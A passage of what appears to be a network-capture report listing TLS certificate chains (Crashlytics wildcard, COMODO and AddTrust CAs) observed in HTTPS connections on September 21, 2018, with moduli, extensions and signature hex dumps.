..K.DfW......,W?00E0: 52 04 AD 95 AA 7D 4D D0 F2 0C 9F 9C 40 E8 D6 55 R.....M.....@..U00F0: 73 BA 3C DF 90 CB 00 5B 21 11 67 C2 ED 32 1E DE s.<....[!.g..2..]
                          Sep 21, 2018 21:19:22.705998898 CEST4435460354.235.102.221192.34.76.230CN=*.crashlytics.com, OU=COMODO SSL Wildcard, OU=Domain Control ValidatedCN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Mar 15 01:00:00 CET 2017Tue Apr 07 01:59:59 CEST 2020[[ Version: V3 Subject: CN=*.crashlytics.com, OU=COMODO SSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 25746921964454174057745033995200425630976326470417009628543403478886539858970464783641053780846702953823565977773333240767924845291893232776921011309186075346960342452934830290056925836568116728882951517805734710353848657653487984730212802472144924199995270450711871466625554314453661848229787028708557109164948243834180221645022732997148309094442255801022006797602163441021097031840792299973202079268326044929335093711808114028656810426857215262269132435475887631075706139381467183606976322135769096135525768584643594576439322397754223357243867039973186088766303745294243097045376680486269190257415823303805790263903 public exponent: 65537 Validity: [From: Wed Mar 15 01:00:00 CET 2017, To: Tue Apr 07 01:59:59 CEST 2020] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ df88c665 f915839b 3267044b 9728f19d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: *.crashlytics.com DNSName: crashlytics.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 8D F0 4B 28 BE B8 69 F3 A0 0B 83 2D 59 B3 99 A5 ..K(..i....-Y...0010: 1B C3 0F D4 ....]]] Algorithm: [SHA256withRSA] Signature:0000: 3F 20 B7 88 55 B8 82 EE DA FE B4 4A 1B DA 77 E7 ? ..U......J..w.0010: 9F CB 42 BD 20 45 12 D7 A9 DF FA 94 D4 EF 6B 95 ..B. E........k.0020: 5E 36 6A CA 9F FB D2 BE 81 BC 97 0D 5C 83 E6 2B ^6j.........\..+0030: 48 48 F6 38 5F B6 68 0A 0A E4 1A 0B 51 FA AD 51 HH.8_.h.....Q..Q0040: DB B5 96 51 C3 F5 32 4C 95 15 7D 46 F3 A5 65 EE ...Q..2L...F..e.0050: D0 B5 C3 11 D3 12 D3 88 E2 86 40 C1 F4 95 CE 31 ..........@....10060: 58 9D 8D CA D5 64 A8 6A 24 20 F9 54 41 5A 21 8E X....d.j$ .TAZ!.0070: DB 48 46 3E 31 B4 E7 EB DE 76 3B 10 BE BA AE E5 .HF>1....v;.....0080: A2 AA 23 4B 50 E7 D5 12 3D D8 07 F7 6F 6B E1 E5 ..#KP...=...ok..0090: CC 7F 1B E7 3E 49 98 14 3C B8 FB DD 35 61 9A 71 ....>I..<...5a.q00A0: CC 8D A5 38 00 32 A0 F5 4E 09 27 62 51 F2 9A 3B ...8.2..N.'bQ..;00B0: CD 4C F9 9F 07 8A D8 AB 61 35 6F 4F 38 36 D5 57 .L......a5oO86.W00C0: FD 95 85 C4 39 2C 84 27 C8 F9 52 C9 30 7B B4 84 ....9,.'..R.0...00D0: 3B 43 6C 2A 3B CE AA 44 37 86 4B 24 05 02 BE FD ;Cl*;..D7.K$....00E0: FE 9B 2E 1A 9A D4 BB AB E2 5C 3F 1C 40 0D 0E 25 .........\?.@..%00F0: 40 8E B7 D9 AB 43 EF 1D 72 AF 0D F1 9A B2 C7 B0 @....C..r.......]
                          Sep 21, 2018 21:19:22.705998898 CEST4435460354.235.102.221192.34.76.230CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Feb 12 01:00:00 CET 2014Mon Feb 12 00:59:59 CET 2029[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
                          Sep 21, 2018 21:19:22.705998898 CEST4435460354.235.102.221192.34.76.230CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SETue May 30 12:48:38 CEST 2000Sat May 30 12:48:38 CEST 2020[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
                          Sep 21, 2018 21:19:22.705998898 CEST4435460354.235.102.221192.34.76.230CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SECN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SETue May 30 12:48:38 CEST 2000Sat May 30 12:48:38 CEST 2020[[ Version: V3 Subject: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 23223460521213001555387570833114089730860753895612098652836669980305042236333373520864248457295413309113206184129614795458813002793321404739348347239478157361314575018921060208560207337879261682185633570259454980009323505955755478574737771466443477069914070664457159874562246026231674202013525055051064032749275350905982802892471956172353456348747163465303302884619908731908096753154575131719129358212869729511062189039464751904900614685539733488960803754548627928530841064764065036079799777523666592044408376641702595881456975606363374738747468052431570879657918206353629078434589859560212766197636528957975011023399 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 01]Certificate Extensions: 4[1]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.][CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE]SerialNumber: [ 01]][2]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][3]: ObjectId: 2.5.29.15 Criticality=falseKeyUsage [ Key_CertSign Crl_Sign][4]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]]] Algorithm: [SHA1withRSA] Signature:0000: B0 9B E0 85 25 C2 D6 23 E2 0F 96 06 92 9D 41 98 ....%..#......A.0010: 9C D9 84 79 81 D9 1E 5B 14 07 23 36 65 8F B0 D8 ...y...[..#6e...0020: 77 BB AC 41 6C 47 60 83 51 B0 F9 32 3D E7 FC F6 w..AlG`.Q..2=...0030: 26 13 C7 80 16 A5 BF 5A FC 87 CF 78 79 89 21 9A &......Z...xy.!.0040: E2 4C 07 0A 86 35 BC F2 DE 51 C4 D2 96 B7 DC 7E .L...5...Q......0050: 4E EE 70 FD 1C 39 EB 0C 02 51 14 2D 8E BD 16 E0 N.p..9...Q.-....0060: C1 DF 46 75 E7 24 AD EC F4 42 B4 85 93 70 10 67 ..Fu.$...B...p.g0070: BA 9D 06 35 4A 18 D3 2B 7A CC 51 42 A1 7A 63 D1 ...5J..+z.QB.zc.0080: E6 BB A1 C5 2B C2 36 BE 13 0D E6 BD 63 7E 79 7B ....+.6.....c.y.0090: A7 09 0D 40 AB 6A DD 8F 8A C3 F6 F6 8C 1A 42 05 ...@.j........B.00A0: 51 D4 45 F5 9F A7 62 21 68 15 20 43 3C 99 E7 7C Q.E...b!h. C<...00B0: BD 24 D8 A9 91 17 73 88 3F 56 1B 31 38 18 B4 71 .$....s.?V.18..q00C0: 0F 9A CD C8 0E 9E 8E 2E 1B E1 8C 98 83 CB 1F 31 ...............100D0: F1 44 4C C6 04 73 49 76 60 0F C7 F8 BD 17 80 6B .DL..sIv`......k00E0: 2E E9 CC 4C 0E 5A 9A 79 0F 20 0A 2E D5 9E 63 26 ...L.Z.y. ....c&00F0: 1E 55 92 94 D8 82 17 5A 7B D0 BC C7 8F 4E 86 04 .U.....Z.....N..]
                          Sep 21, 2018 21:19:41.676206112 CEST4434412554.243.70.98192.34.76.230CN=*.crashlytics.com, OU=COMODO SSL Wildcard, OU=Domain Control ValidatedCN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Mar 15 01:00:00 CET 2017Tue Apr 07 01:59:59 CEST 2020[[ Version: V3 Subject: CN=*.crashlytics.com, OU=COMODO SSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 25746921964454174057745033995200425630976326470417009628543403478886539858970464783641053780846702953823565977773333240767924845291893232776921011309186075346960342452934830290056925836568116728882951517805734710353848657653487984730212802472144924199995270450711871466625554314453661848229787028708557109164948243834180221645022732997148309094442255801022006797602163441021097031840792299973202079268326044929335093711808114028656810426857215262269132435475887631075706139381467183606976322135769096135525768584643594576439322397754223357243867039973186088766303745294243097045376680486269190257415823303805790263903 public exponent: 65537 Validity: [From: Wed Mar 15 01:00:00 CET 2017, To: Tue Apr 07 01:59:59 CEST 2020] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ df88c665 f915839b 3267044b 9728f19d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: *.crashlytics.com DNSName: crashlytics.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 8D F0 4B 28 BE B8 69 F3 A0 0B 83 2D 59 B3 99 A5 ..K(..i....-Y...0010: 1B C3 0F D4 ....]]] Algorithm: [SHA256withRSA] Signature:0000: 3F 20 B7 88 55 B8 82 EE DA FE B4 4A 1B DA 77 E7 ? ..U......J..w.0010: 9F CB 42 BD 20 45 12 D7 A9 DF FA 94 D4 EF 6B 95 ..B. E........k.0020: 5E 36 6A CA 9F FB D2 BE 81 BC 97 0D 5C 83 E6 2B ^6j.........\..+0030: 48 48 F6 38 5F B6 68 0A 0A E4 1A 0B 51 FA AD 51 HH.8_.h.....Q..Q0040: DB B5 96 51 C3 F5 32 4C 95 15 7D 46 F3 A5 65 EE ...Q..2L...F..e.0050: D0 B5 C3 11 D3 12 D3 88 E2 86 40 C1 F4 95 CE 31 ..........@....10060: 58 9D 8D CA D5 64 A8 6A 24 20 F9 54 41 5A 21 8E X....d.j$ .TAZ!.0070: DB 48 46 3E 31 B4 E7 EB DE 76 3B 10 BE BA AE E5 .HF>1....v;.....0080: A2 AA 23 4B 50 E7 D5 12 3D D8 07 F7 6F 6B E1 E5 ..#KP...=...ok..0090: CC 7F 1B E7 3E 49 98 14 3C B8 FB DD 35 61 9A 71 ....>I..<...5a.q00A0: CC 8D A5 38 00 32 A0 F5 4E 09 27 62 51 F2 9A 3B ...8.2..N.'bQ..;00B0: CD 4C F9 9F 07 8A D8 AB 61 35 6F 4F 38 36 D5 57 .L......a5oO86.W00C0: FD 95 85 C4 39 2C 84 27 C8 F9 52 C9 30 7B B4 84 ....9,.'..R.0...00D0: 3B 43 6C 2A 3B CE AA 44 37 86 4B 24 05 02 BE FD ;Cl*;..D7.K$....00E0: FE 9B 2E 1A 9A D4 BB AB E2 5C 3F 1C 40 0D 0E 25 .........\?.@..%00F0: 40 8E B7 D9 AB 43 EF 1D 72 AF 0D F1 9A B2 C7 B0 @....C..r.......]
                          Sep 21, 2018 21:19:41.676206112 CEST4434412554.243.70.98192.34.76.230CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Feb 12 01:00:00 CET 2014Mon Feb 12 00:59:59 CET 2029[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 